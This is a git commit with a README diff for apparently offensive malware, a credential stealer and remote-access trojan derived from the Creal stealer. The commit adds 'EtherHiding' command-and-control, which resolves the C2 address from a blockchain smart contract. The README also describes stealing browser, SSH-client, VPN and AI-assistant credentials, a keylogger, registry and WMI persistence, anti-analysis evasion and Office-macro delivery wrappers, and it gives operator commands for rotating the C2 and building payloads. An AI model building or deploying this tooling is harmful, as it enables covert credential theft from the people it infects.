EtherHiding C2: resolve the TCP endpoint from a smart contract

The agent resolves its C2 endpoint from a resolver contract on a public
chain via eth_call (free, read-only), so the compiled binary carries no C2
address; rotating the C2 is one contract call and every bot picks up the
new value on next start. Pattern per the 2026 Remus analysis: eth_call
with the get() selector (0x6d4ce63c) against a public JSON-RPC provider,
the endpoint stored as a bytes32 host:port. Any failure falls back to the
compiled endpoint.

- src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode,
  host:port parse, WinHTTP POST with hard timeouts
- agent: resolves before the argv/env override so an explicit endpoint
  still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override
- setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for
  the resolver under TCP; the summary and recreate line carry them
- tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer
  instructions otherwise); contract source included, deployed via Remix
- verified: selectors checked against a real keccak implementation,
  contract compiles with solc 0.8.19, wizard and non-interactive flows
  emit the config end to end, mock RPC positive/negative tests, live
  HTTPS RPC probe degrades gracefully, and the full steal still recovers
  the v20 key through the chain-resolved agent
This commit is contained in:
JYenn
2026-08-20 22:39:40 +01:00
parent 8ee9393ea4
commit 13e6ad7063
7 changed files with 348 additions and 2 deletions
+30
View File
@@ -33,6 +33,7 @@ Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked creden
- **Network clients** (`network_clients`): WinSCP, PuTTY, mRemoteNG, MobaXterm, OpenVPN
- **AI assistants** (`ai_assistants`): Claude Desktop, OpenAI Codex, Gemini CLI, opencode
- 🔐 **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN
- 🧊 **EtherHiding C2**: the TCP endpoint resolves from a smart contract on a public chain, so the binary carries no C2 address; rotate the C2 by calling the contract
- 📦 **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, `-p` wrappers for 9 delivery formats
- ⌨️ **Keylogger and clipboard monitoring**
- 🪝 **Persistence**: user-registry Run key and WMI event subscriptions
@@ -84,6 +85,34 @@ setup.py emits `deploy/worker.js` and `deploy/cloudflared-config.yml`. Deploy
the worker with `wrangler deploy deploy/worker.js`, fill the tunnel UUID into
the config, `cloudflared tunnel run <name>`.
## EtherHiding C2
The agent can resolve its TCP endpoint from a smart contract on a public chain
(`eth_call`, free and read-only), so the compiled binary carries no C2 address.
Rotate the C2 by updating the contract; every bot picks up the new value on
its next start. A dead RPC or decode failure falls back to the compiled
endpoint.
1. Deploy the resolver once in Remix or on the chain explorer (contract source
is in `tools/etherhiding.py`).
2. Store the endpoint, and read it back:
```powershell
python tools\etherhiding.py update --contract 0x... --value 10.2.0.2:4444 --key <privkey>
python tools\etherhiding.py read --contract 0x...
```
3. Build with the resolver wired in; the wizard asks for it under TCP, or pass
it directly:
```powershell
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 CHAIN_CONTRACT=0x... CHAIN_RPC=https://cloudflare-eth.com
```
The value is a `bytes32` `host:port`, 31 chars max. `HVNC_CHAIN_RPC` /
`HVNC_CHAIN_CONTRACT` env vars override both at runtime; an explicit agent
`argv` endpoint overrides the chain.
## Payload wrappers
The builder (`setup.py -p <formats>`) packages the agent into delivery
@@ -172,6 +201,7 @@ A fresh checkout builds against `127.0.0.1:4444`. Run `setup.py` once so `.miser
- `src/rat`: keylogger + clipboard
- `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
- `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers
- `tools/`: operator helpers (EtherHiding resolver read/update)
- `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers
- `build/`: out-of-source build dir